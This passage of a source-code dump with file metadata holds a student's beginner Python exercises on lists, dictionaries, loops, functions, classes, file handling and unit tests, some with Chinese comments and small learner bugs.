"text": "message =\"I miss you so much\"\nprint(message)\nmessage =\"I want to play\"\nprint(message)\n\npython = \"Mr der\"\nprint(\"hello Mr der\")\n\nmessage =\"Hi,xiaoai\"\nprint(message)\n\nmessage =\"Can I help you?\"\nprint(message)"
},
{
"alpha_fraction": 0.6228373646736145,
"alphanum_fraction": 0.6228373646736145,
"avg_line_length": 40.42856979370117,
"blob_id": "7ef3d3551492b6b09fbdab5a7719539536555ac0",
"content_id": "aceeb1b2c09e6da959bc67d9e4ad230c79d6df9e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 289,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 7,
"path": "/ch6/5-7.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "favorite_fruits = ['apple', 'banana', 'orange', 'watermelon']\nif 'apple' in favorite_fruits:\n print(\"You really like apple!\")\n if 'orange' in favorite_fruits:\n print(\"You really like banana!\")\n if 'pitaya' not in favorite_fruits:\n print(\"You don't like it!\")"
},
{
"alpha_fraction": 0.5581947565078735,
"alphanum_fraction": 0.5581947565078735,
"avg_line_length": 27.066667556762695,
"blob_id": "26d60e25fe363ae9c6056844c0e4ed66ad8bfc30",
"content_id": "a9d3b03c8f0618bc399bf5df53dbad756a1659ed",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 421,
"license_type": "no_license",
"max_line_length": 80,
"num_lines": 15,
"path": "/ch10/name_function.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "def format_name(first, last, middle=''):\n\n if middle:\n fullname = first + ' ' + middle + ' ' + last\n else:\n fullname = first + ' ' + last\n return fullname.title()\n\n\ndef format_city(city, country, population=''):\n if population:\n city_country = city + ',' + country + ' - population' + ' ' + population\n else:\n city_country = city + ',' + country\n return city_country.title()\n"
},
{
"alpha_fraction": 0.6477272510528564,
"alphanum_fraction": 0.6477272510528564,
"avg_line_length": 28.5,
"blob_id": "83752a7fac32ada7159e50c548815431536974ca",
"content_id": "d982f85e1d4837926cd55217b54288a6bde55e6c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 176,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 6,
"path": "/ch10/10-5.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "filename = 'reasons.txt'\n\nwhile True:\n reason = input(\"why are you like programming:\")\n with open(filename, 'a') as file_object:\n file_object.write(f'{reason} \\n')"
},
{
"alpha_fraction": 0.6575829386711121,
"alphanum_fraction": 0.6664692163467407,
"avg_line_length": 28.120689392089844,
"blob_id": "b87ba1691e9a6848f0ea54cfff155612e89f2ccf",
"content_id": "5567e3acd75bbc46bb85d0f89945ed81d9e88bde",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1730,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 58,
"path": "/ch8/9-4.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "#9-4就餐人数\nclass Restaurant:\n def __init__(self,restaurant_name, cuisine_type):\n self.restaurant_name = restaurant_name\n self.cuisine_type = cuisine_type\n self.number_served = 0\n\n def describe_restaurant(self):\n print(\"Restaurant Name:\" + self.restaurant_name.title())\n print(\"Cuisine Type:\" + self.cuisine_type.title())\n\n def read_number_served(self):\n print(\"我们服务了\" + str(self.number_served) + \"人.\\n\")\n\n def set_number_served(self,number):\n self.number_served = number\n\n def increment_number_served(self,increment_number):\n self.number_served = self.number_served + increment_number\n\nrestaurant = Restaurant(\"全聚德\", \"China\")\nrestaurant.describe_restaurant()\nrestaurant.read_number_served()\n\nrestaurant.number_served = 10\nrestaurant.read_number_served()\n\nrestaurant.set_number_served(20)\nrestaurant.read_number_served()\n\nrestaurant.increment_number_served(30)\nrestaurant.read_number_served()\n\n#9-5尝试登录次数\nclass User:\n def __init__(self, first_name, last_name):\n self.first_name = first_name\n self.last_name = last_name\n self.login_attempts = 0\n\n def greet_user(self):\n name = self.first_name.title() + \"\" + self.last_name.title()\n print(\"你好,\"+ name + \".\")\n\n def incement_login_attempts(self):\n self.login_attempts = self.login_attempts + 1\n\n def reset_login_attempts(self):\n self.login_attempts = 0\n\nuser = User('bruce', 'li')\nuser.greet_user()\n\nfor you in range(2):\n user.incement_login_attempts()\nprint(\"You are already login \" + str(user.login_attempts) + \" times.\")\nuser.reset_login_attempts()\nprint(\"Have login \" + str(user.login_attempts) + \" time.\")"
},
{
"alpha_fraction": 0.45111730694770813,
"alphanum_fraction": 0.5097765326499939,
"avg_line_length": 18.88888931274414,
"blob_id": "ad551686991ba4030281c782bc4ac9159d0b5fc9",
"content_id": "59c2aaa87094d8b5c5ca2119269b7fdcb0921c19",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 836,
"license_type": "no_license",
"max_line_length": 32,
"num_lines": 36,
"path": "/ch7/7-4.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "# 7-4披萨配料\nprint(\"输入披萨配料\")\nmessage = \"\"\nwhile message != 'quit':\n message = input()\n if message != 'quit': 1\n print(\"披萨新添加配料\")\nprint(message)\n# 7-5电影票\nage = input(\"请输入年龄\")\nwhile age != 'quit':\n age2 = int(age)\n if age2 >= 3 and age2 <= 12:\n print('%d需要$10' % age2)\n elif age2 > 12:\n print('%d需要$15' % age2)\n age = input('请确认你的年龄')\n# 7-6使用while循环条件\nage = input('请确认你的年龄')\nflag = True\nwhile flag:\n age2 = int(age)\n if age2 >= 3 and age2 <= 12:\n print('%d需要$10' % age2)\n elif age2 > 12:\n print('%d需要$15' % age2)\n age = input('请确认你的年龄')\n if age == 'quit':\n flag = False\n break\n\n# 7-7\nx = 1\nwhile x > 0:\n print(x)\n x += 1\n"
},
{
"alpha_fraction": 0.6952662467956543,
"alphanum_fraction": 0.7041420340538025,
"avg_line_length": 23.214284896850586,
"blob_id": "a25a257cd02f3f5356b047ece0db667941af6dcc",
"content_id": "0c53a6f844f7ca6ecca6dd3fb2141352e911eb81",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 346,
"license_type": "no_license",
"max_line_length": 35,
"num_lines": 14,
"path": "/ch9/10-1.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "#10-1Python学习笔记\nfilename = 'learning_python.txt'\nwith open(filename)as file_object:\n contents = file_object.read()\n print(contents)\n\nwith open(filename)as file_object:\n for line in file_object:\n print(line)\n\nwith open(filename)as file_object:\n lines = file_object.readlines()\nfor line in lines:\n print(line.rstrip())"
},
{
"alpha_fraction": 0.7153284549713135,
"alphanum_fraction": 0.7153284549713135,
"avg_line_length": 33.375,
"blob_id": "b0944aebc65c9d656bca9621af7f2acf7b4485f4",
"content_id": "c1e45a32caedefdc27da520846e4427969325b55",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 274,
"license_type": "no_license",
"max_line_length": 71,
"num_lines": 8,
"path": "/ch10/test_cities.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "import unittest\nfrom city_functions import city_country\nclass CityCountryTestCase(unittest.TestCase):\n def test_city_country(self):\n city = 'santuago'\n country = 'chile'\n self.assertEqual(city_country(city, country), 'santuago chile')\nunittest.main()"
},
{
"alpha_fraction": 0.6601123809814453,
"alphanum_fraction": 0.670412003993988,
"avg_line_length": 25.725000381469727,
"blob_id": "c3fbec79feb072e3d88ecec1c6b53588faaf41fa",
"content_id": "939c7ca9c8521b7f1f526698ce2f9b9c559c4054",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1068,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 40,
"path": "/ch8/8-9.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "#8-9\ndef show_magicians(magicicans):\n for magicican in magicicans:\n print(magicican)\nmagicicans = [\"Dynamo\", \"Jeff\", \"Jason\"]\nshow_magicians(magicicans)\n\n#8-10\ndef make_great(magic_person,change_name):\n while magic_person:\n new_name = magic_person.pop()\n new_name = \" The great \" + new_name\n change_name.append(new_name)\n\ndef show_magicians(change_name):\n for magicican in change_name:\n print(magicican)\nmagic_person = [\"Dynamo\", \"Jeff\", \"Jason\"]\nchange_name = []\nmake_great(magic_person, change_name)\nshow_magicians(change_name)\n\n#8-11\ndef make_great(magic_person1, change_name):\n while magic_person1:\n new_name = magic_person1.pop()\n new_name = \" The great \" + new_name\n change_name.append(new_name)\n return change_name\n\ndef show_magicians(change_name):\n for magicican in change_name:\n print(magicican)\n\nmagic_person = [\"Dynamo\", \"Jeff\", \"Jason\"]\nprint(magic_person)\nchange_name = []\nchange_name = make_great(magic_person[:], change_name)\nprint(change_name)\nshow_magicians(change_name)"
},
{
"alpha_fraction": 0.6251944303512573,
"alphanum_fraction": 0.6407464742660522,
"avg_line_length": 15.48717975616455,
"blob_id": "d40ea47dde032aca816328cac944ee6710068c5f",
"content_id": "b88be5bca4e9b6c5b1f8cc24dbecec09c6e1c229",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 753,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 39,
"path": "/ch7/8-1.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "# 8-1消息\ndef display_message():\n print(\"本章学习了def函数\")\ndisplay_message()\n\n\n# 8-2喜欢的图书\ndef favorite_book(title):\n print('One of my favorite books is' + title)\nfavorite_book('大数据导论')\n\n\n# 8-3T恤\ndef make_shirt(size, word=\"我爱学习\"):\n print(\"size:\", size, \"word:\", word)\n\nmake_shirt(\"L\")\nmake_shirt(\"M\")\nmake_shirt(\"XL\")\n\n\n# 8-4大号T恤\ndef make_shirts(size, word='你好'):\n print(\"T恤的尺码是\" + size + \",T恤上的文字是\" + word)\n\n\nmake_shirts('xxl')\nmake_shirts('m')\nmake_shirts(\"other size\", \"其他文字\")\n\n\n# 8-5城市\ndef describle_city(city, country='China'):\n print(city + \"is in\" + country)\n\n\ndescrible_city('北京')\ndescrible_city('上海')\ndescrible_city('米兰', ' 意大利')\n"
},
{
"alpha_fraction": 0.5984848737716675,
"alphanum_fraction": 0.5984848737716675,
"avg_line_length": 24.190475463867188,
"blob_id": "aaa09a9799c9b99626848e38c3280e422e1b702f",
"content_id": "f2b2ef6dd97c804713243a61ed2d2c88f4a0ee8e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 528,
"license_type": "no_license",
"max_line_length": 62,
"num_lines": 21,
"path": "/ch10/get_favorite_num.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "import json\n\n\ndef get_favorite_num():\n try:\n file_name = 'favorite_num.json'\n with open(file_name) as f_obj:\n favorite_num = json.load(f_obj)\n\n except FileNotFoundError:\n favorite_num = input(\"what's your favorite number?\")\n file_name = 'favorite_num.json'\n with open(file_name, 'w') as f_obj:\n json.dump(favorite_num, f_obj)\n print(\"I will remember your number\")\n\n else:\n print(\"I know your favorite number is\" + favorite_num)\n\n\nget_favorite_num()"
},
{
"alpha_fraction": 0.6672297120094299,
"alphanum_fraction": 0.6875,
"avg_line_length": 19.34482765197754,
"blob_id": "153d8d3cbbb10915b4d4aa0e92565d4f5acfad6d",
"content_id": "aeba8f60f99474ff3c6bb408a8e5cef920785ca1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 802,
"license_type": "no_license",
"max_line_length": 39,
"num_lines": 29,
"path": "/ch4/invitee.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "invitee = ['小向', '章章娃', '猴猴']\n\nmessage = \"今天心情好,请你们吃个饭\"\nprint((str)(invitee)+message)\nprint(invitee[0]+\"今天没得空,要去逛gai。\")\ninvitee[0]=\"康康娃\"\nprint((str)(invitee)+message)\n\ninvitee.insert(0,\"小胖\")\ninvitee.insert(2,\"贝克汉姆\")\ninvitee.append(\"梅西\")\nprint(\"我还想邀请的好兄弟,他们就是:\"+(str)(invitee))\n\npeople = invitee.pop(0)\nprint('人多了坐不到,只有哦豁' + people)\npeople = invitee.pop(0)\nprint('雀儿巴适坐不到,下盘来' + people)\npeople = invitee.pop(0)\nprint('改天请你吃饭' + people)\npeople = invitee.pop(0)\nprint('给你说了坐不到,半边去耍' + people)\n\nprint(invitee[0]+'你跑不落好')\nprint(invitee[1]+'你跑不落好')\n\ndel invitee[0]\ndel invitee[0]\n\nprint(invitee)\n\n\n"
},
{
"alpha_fraction": 0.6182795763015747,
"alphanum_fraction": 0.6209677457809448,
"avg_line_length": 22.25,
"blob_id": "756a7363f5158f86a30939756c131108f303fb59",
"content_id": "de8f4c8c055b65929bdae068bef22dbabb5e871b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 490,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 16,
"path": "/ch6/4-13.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "# 元组\ndiningroom = ('回锅肉', '小炒肉', '鸡腿', '白米饭', '土豆丝')\nfor diningroom in diningroom:\n print(diningroom)\n# 修改元素\n\"\"\"\ndiningroom[0]='香肠'\n\"\"\"\ndiningroom = ('回锅肉', '小炒肉', '鸡腿', '白米饭', '土豆丝')\nprint(\"原始菜单:\")\nfor diningroom in diningroom:\n print(diningroom)\ndiningroom = ('回锅肉', '小炒肉', '红烧牛肉', '白米饭', '香肠')\nprint(\"\\n修改菜单:\")\nfor diningroom in diningroom:\n print(diningroom)\n"
},
{
"alpha_fraction": 0.6957928538322449,
"alphanum_fraction": 0.6957928538322449,
"avg_line_length": 18.25,
"blob_id": "3142db45205c4f0000d7cab036b88669c57b40a1",
"content_id": "9b217224818c86a6bbba85e7455bc12b6c5250e1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 309,
"license_type": "no_license",
"max_line_length": 43,
"num_lines": 16,
"path": "/ch4/places.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "places = ['BJ', 'XA', 'HK', 'YN', 'XZ']\n\nplaces.sort()\nprint(places)\n\nplaces.reverse()\nprint(places)\n\nplaces.sort(reverse=True)\nprint(places)\nprint(\"Here is the original list:\")\nprint(places)\nprint(\"\\nHere is the sorted list:\")\nprint(sorted(places))\nprint(\"\\nHere is the original list again:\")\nprint(places)\n\n"
},
{
"alpha_fraction": 0.6662561297416687,
"alphanum_fraction": 0.681034505367279,
"avg_line_length": 31.479999542236328,
"blob_id": "072c288978d895291870cff149c0967627292471",
"content_id": "13b3e81a764aafb71e735c8ee34c55497b4a2019",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 812,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 25,
"path": "/ch10/test_name_function.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "import unittest\nfrom name_function import format_name\nfrom name_function import format_city\n\n\nclass NameTestCase(unittest.TestCase):\n def test_first_last_name(self):\n formattedname = format_name('Tom', 'Hardy')\n self.assertEqual(formattedname, 'Tom Hardy')\n\n def test_first_middle_last_name(self):\n formattedname = format_name('Tom', 'Hardy')\n self.assertEqual(formattedname, 'Tom Hardy')\n\n def test_city_country(self):\n formattedcity = format_city('santiago', 'chile')\n self.assertEqual(formattedcity, 'Santiago,Chile')\n\n def test_city_country_population(self):\n formattedcity = format_city('santiago', 'chile', population='500000')\n self.assertEqual(formattedcity, 'Santiago,Chile - Population 500000')\n\n\nif __name__ == 'main':\n unittest.main()\n"
},
{
"alpha_fraction": 0.4594745635986328,
"alphanum_fraction": 0.491335928440094,
"avg_line_length": 24.927536010742188,
"blob_id": "9880bf2c7b088c226d61a7fa3dcbdeb835d5723b",
"content_id": "b086f7d4792e2f1392c088a3365d2290c06c290f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2027,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 69,
"path": "/ch7/6-7.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "# 6-7人\nroommate_0 = {'name': '小向', 'like': '追剧', 'address': '射洪'}\nroommate_1 = {'name': '康康', 'like': '看电影', 'address': '广安'}\nroommate_2 = {'name': '猴猴', 'like': '打游戏', 'address': '达州'}\npeople = [roommate_0, roommate_1, roommate_2]\nfor roommate in people:\n print(roommate['name'] + \":\")\n for name, name_info in roommate.items():\n print(\"\\t\" + name + \":\" + str(name_info) + \".\")\n\n# 6-8宠物\nbird = {'type': '鸟', 'host': '康康'}\ndog = {'type': '狗', 'host': '小向'}\ncat = {'type': '猫', 'host': '章章'}\nlion = {'type': '狮子', 'host': '猴猴'}\nmonkey = {'type': '猴子', 'host': '小胖'}\ntiger = {'type': '老虎', 'host': '文文'}\npets = [bird, dog, cat, lion, monkey, tiger]\nfor pet in pets:\n for key, value in pet.items():\n print(key, ':', value)\n\n# 6-9喜欢的地方\nfavorite_places = {\n '猴猴': ['London', 'Paris'],\n '小向': ['北京', '天津'],\n '章章': ['上海', '广州'],\n '康康': ['云南', '广西'],\n}\nfor key, value in favorite_places.items():\n print(key, 'favorite place' + ':')\n for places in value:\n print(places)\n\n# 6-10喜欢的数字\nfavorite_number = {\n '猴猴': '22222',\n '章章娃儿': '999',\n '小向': '666',\n '康康娃儿': '44444',\n '小胖': '55555'\n}\nfor persons, nums in favorite_number.items():\n print(\"\\n\" + persons + \"喜欢的数字是:\")\n for num in nums:\n print(\"\\t\" + str(num))\n\n# 6-11城市\ncities = {\n '重庆': {\n 'country': 'China',\n 'population': '3124.32万人',\n 'fact': '火锅城',\n },\n '北京': {\n 'country': 'China',\n 'population': '2154.00万人',\n 'fact': '中国的首都',\n },\n '上海': {\n 'country': 'China',\n 'population': '2424.00万人',\n 'fact': '魔都',\n }\n}\nfor city, city_info in cities.items():\n print('\\n' + city + \":\")\n for info, value in city_info.items():\n print(\"\\t\" + info.title() + \":\" + value.capitalize() + \".\")\n"
},
{
"alpha_fraction": 0.5666666626930237,
"alphanum_fraction": 0.6333333253860474,
"avg_line_length": 13.066666603088379,
"blob_id": "29e79c5167c5282530e4c9b8436714409bacffbf",
"content_id": "f365c0d01c1b77c0ca8e4223a4bda8e61ca753d2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 210,
"license_type": "no_license",
"max_line_length": 58,
"num_lines": 15,
"path": "/ch3/birthday.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "\"\"\"\nage = 20\nmessage = \"happy DX\" + str(age) + \"rd birthday\"\nprint(messagae)\n\"\"\"\n\nprint(4+4)\nprint(1+7)\nprint(2+6)\nprint(3+5)\n\n\nage = 20\nmessage = \"Happy 20th birthday\" + str(age) + \"rd birthday\"\nprint(message)"
},
{
"alpha_fraction": 0.6415094137191772,
"alphanum_fraction": 0.6603773832321167,
"avg_line_length": 22.55555534362793,
"blob_id": "f2acd30c77ed625ae186b498470d64c6a1445e4c",
"content_id": "9db6845d5cabb8ff7c6536f5ef32fa6de596bb38",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 212,
"license_type": "no_license",
"max_line_length": 41,
"num_lines": 9,
"path": "/ch10/Employee.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "class Employee:\n\tdef __init__(self, first, last, salary):\n\t\tself.first = first\n\t\tself.last = last\n\t\tself.salary = salary\n\n\tdef give_raise (self, addsalary=5000):\n\t\t\"\"\" Function doc \"\"\"\n\t\tself.salary += addsalary\n"
},
{
"alpha_fraction": 0.5527123808860779,
"alphanum_fraction": 0.5619242787361145,
"avg_line_length": 20.711111068725586,
"blob_id": "a5a0bb010d8355de07a16dbfd48148ed2c431032",
"content_id": "dcbe3fe104481ce003c4abd56cd22d7a1380f620",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1031,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 45,
"path": "/ch8/8-12.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "# 8-12三明治\nimport color as color\n\n\ndef make_sandwich(*foods):\n print(\"\\ncustomer accept add in sandwich with the following foods:\")\n for food in foods:\n print(\"-\" + food)\n\n\nmake_sandwich('cake')\nmake_sandwich('生菜', '火腿', 'cheese')\n\n\n# 8-13用户简介\ndef build_profile(first, last, **user_info):\n profile = {}\n profile['first_name'] = first\n profile['last_name'] = last\n for key, value in user_info.items():\n profile[key] = value\n return profile\n\n\nuser_profile = build_profile('潇', '邓',\n location='四川省',\n like='game',\n sport='羽毛球')\nprint(user_profile)\n\n\n# 8-14汽车\ndef car(manufacturers, size, **user_inf):\n profile = {}\n profile['brand'] = manufacturers\n profile['type'] = size\n for key, value in user_inf.items():\n profile[key] = value\n return profile\n\n\nuser=car('subaru', 'outback',\n 颜色='blue',\n 油耗='high',加速='fast')\nprint(user)\n"
},
{
"alpha_fraction": 0.6390977501869202,
"alphanum_fraction": 0.6390977501869202,
"avg_line_length": 32.5,
"blob_id": "85cddcf5e3e4921d590c30255976ab75dc4af930",
"content_id": "261c0d33849bd44f3c2793f4918133722338d090",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 133,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 4,
"path": "/ch5/4-1.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "Fruits = {\"apple\", \"banana\", \"orange\", \"peach\"}\nfor Fruit in Fruits:\n print(\"I like eat \" + Fruit)\nprint(\"I like fruit very much\")"
},
{
"alpha_fraction": 0.5913978219032288,
"alphanum_fraction": 0.6034946441650391,
"avg_line_length": 27.653846740722656,
"blob_id": "0e029650566fcf365a09b8665a79332834935185",
"content_id": "e45a1a3d2f73786d264be85fc8b65e4ee737096e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 754,
"license_type": "no_license",
"max_line_length": 81,
"num_lines": 26,
"path": "/ch9/9-6.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "#9-6冰淇淋小店\nclass Resturant():\n def __init__(self,resturant_name,cuisine_type):\n self.name = resturant_name\n self.type = cuisine_type\n self.number_served = 0\n self.flavors = ['banana', 'milk', 'apple', 'chocolate']\n\n def display_flavors(self):\n message = \"This IceCreamStand provides icecreams of different flavors of\"\n\n num = 0\n while num < 3:\n message += self.flavors[num] + \",\"\n num += 1\n\n message += self.flavors[3] + \".\"\n print(message)\n\nclass IceCreamStand(Resturant):\n\n def __init__(self,resturant_name, cuisine_type):\n super().__init__(resturant_name, cuisine_type)\n\nmy_icecream = IceCreamStand('aidale',10)\nmy_icecream.display_flavors()"
},
{
"alpha_fraction": 0.622188925743103,
"alphanum_fraction": 0.6296851634979248,
"avg_line_length": 26.83333396911621,
"blob_id": "05f6e58e994ff38499bbab4e6c8c3a3621991be6",
"content_id": "9ee2e6811cb900a2b7bb0204cf4d0ced0ed84114",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 667,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 24,
"path": "/ch9/9-10.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "#9-10\nclass Restaurant():\n\n def __init__(self, restaurant_name, cuisine_type):\n self.restaurant_name = restaurant_name\n self.cuisine_type = cuisine_type\n self.number_served = 0\n\n def describe_restaurant(self):\n print(self.restaurant_name, \":\", self.cuisine_type)\n\n def open_restaurant(self):\n print(\"is opening\")\n\n def set_number_served(self, number):\n self.number_served = number\n\n def get_number_served(self):\n return self.number_served\n\n def increment_number_served(self, number):\n while self.number_served < number:\n print(self.number_served)\n self.number_served += 1"
},
{
"alpha_fraction": 0.5477997064590454,
"alphanum_fraction": 0.5584218502044678,
"avg_line_length": 33.68421173095703,
"blob_id": "55e5e0dba4811c402c21cf200d7d33d11503c47a",
"content_id": "80004857efc41c576003e8d636161d6fa961c116",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 659,
"license_type": "no_license",
"max_line_length": 62,
"num_lines": 19,
"path": "/10.3/except.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "try:\n with open(\"dogs.txt\", 'r', encoding='utf-8') as dog:\n with open(\"cats.txt\", 'r', encoding='utf-8') as cat:\n for d, c in zip(dog.readlines(), cat.readlines()):\n print(d)\n print(c)\nexcept FileNotFoundError:\n # pass\n print(\"Not found...\")\ntry:\n with open('book.txt', 'r', encoding='utf-8') as book:\n contents = book.read()\nexcept IOError:\n print(\"The file is not exist.\")\nelse:\n content_1 = contents.count('the')\n print(\"The file has \" + str(content_1) + \" 'the' words.\")\n content_2 = contents.lower().count('the')\n print(\"The file has \" + str(content_2) + \" 'The' words.\")\n"
},
{
"alpha_fraction": 0.5669701099395752,
"alphanum_fraction": 0.577373206615448,
"avg_line_length": 29.799999237060547,
"blob_id": "ca6050392824c5ec4181d477c9d33ebc1b867d6e",
"content_id": "6b0b06c6e7130121a23eb827c142888aae7a25f0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 775,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 25,
"path": "/ch9/9-7.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "#9-7管理员\nclass User():\n\n def __int__(self, first_name, last_name, age, career, login_attempts):\n self.first_name = first_name\n self.last_name = last_name\n self.age = age\n self.career = career\n self.login_attempts = login_attempts\n\nclass Admin(User):\n\n def __init__(self, first_name, last_name, age, career, login_attempts):\n super().__int__(first_name, last_name, age, career, login_attempts)\n self.privileges = [\" can add post\", \" can delete\", \" can ban user\"]\n\n def show_privileges(self):\n num = 0\n while num < 3:\n message = \"Admin\" + self.privileges[num] + \".\"\n num += 1\n print(message)\n\nadmin = Admin(\"xiang\", \"xiaozhi\", 20, \"caller\", 3)\nadmin.show_privileges()"
},
{
"alpha_fraction": 0.7602739930152893,
"alphanum_fraction": 0.7739726305007935,
"avg_line_length": 48,
"blob_id": "7beeb4fba18e54bfcd81a48f27389b7c32b5d2df",
"content_id": "c8bd229c4096f06067a32a438bc24ab709bb05ee",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 146,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 3,
"path": "/ch12/countries.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "from pygal_maps_world.i18n import COUNTRIES\nfor country_code in sorted(COUNTRIES.keys()):\n print(country_code.upper(), COUNTRIES[country_code])"
},
{
"alpha_fraction": 0.6479690670967102,
"alphanum_fraction": 0.6750483512878418,
"avg_line_length": 42.125,
"blob_id": "fe8a28b4afe0748b4af4bd4b6b3d3ccc4ea67b7d",
"content_id": "a446818a343cbc8c14888b4b49528bbae22a8bc6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1056,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 24,
"path": "/ch6/5-5.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "# 5-5将练习 5-4 中的 if-else 结构改为 if-elif-else 结构\nalien_colors4 = ['green', 'red', 'yellow']\nif 'green' in alien_colors4:\n print(\"You can get 5 points\" + \" because you shoot this green alien\")\nelif 'yellow' in alien_colors4:\n print(\"You can get 10 points\" + \" because you shoot this yellow alien\")\nelse:\n print(\"You can get 15 points\" + \" because you shoot this red alien\")\n\nalien_colors0 = ['green', 'red', 'yellow']\nif 'white' in alien_colors0:\n print(\"You can get 5 points\" + \" because you shoot this green alien\")\nelif 'yellow' in alien_colors0:\n print(\"You can get 10 points\" + \" because you shoot this yellow alien\")\nelse:\n print(\"You can get 15 points\" + \" because you shoot this red alien\")\n\nalien_colors5 = ['green', 'red', 'yellow']\nif '' in alien_colors5:\n print(\"You can get 5 points\" + \" because you shoot this green alien\")\nelif '' in alien_colors5:\n print(\"You can get 10 points\" + \" because you shoot this yellow alien\")\nelse:\n print(\"You can get 15 points\" + \" because you shoot this red alien\")"
},
{
"alpha_fraction": 0.6785714030265808,
"alphanum_fraction": 0.6785714030265808,
"avg_line_length": 27.200000762939453,
"blob_id": "4fcf6f0f29e331864182be9cc3182f6294df8074",
"content_id": "30f21c99a0a36d47a7750ad7466604b5fe55e477",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 140,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 5,
"path": "/ch9/10-3.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "filename = 'guest.txt'\nusername = input('Enter your name:')\n\nwith open(filename, 'a') as file_object:\n file_object.write(username + '\\n')"
},
{
"alpha_fraction": 0.5321252346038818,
"alphanum_fraction": 0.5378912687301636,
"avg_line_length": 25.39130401611328,
"blob_id": "febc8c262e9cdb0312b90c62f9b10aa9d851245f",
"content_id": "433a357dd7d33b683692b9c05e3ed477b2d6b641",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1426,
"license_type": "no_license",
"max_line_length": 89,
"num_lines": 46,
"path": "/ch7/6-4.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
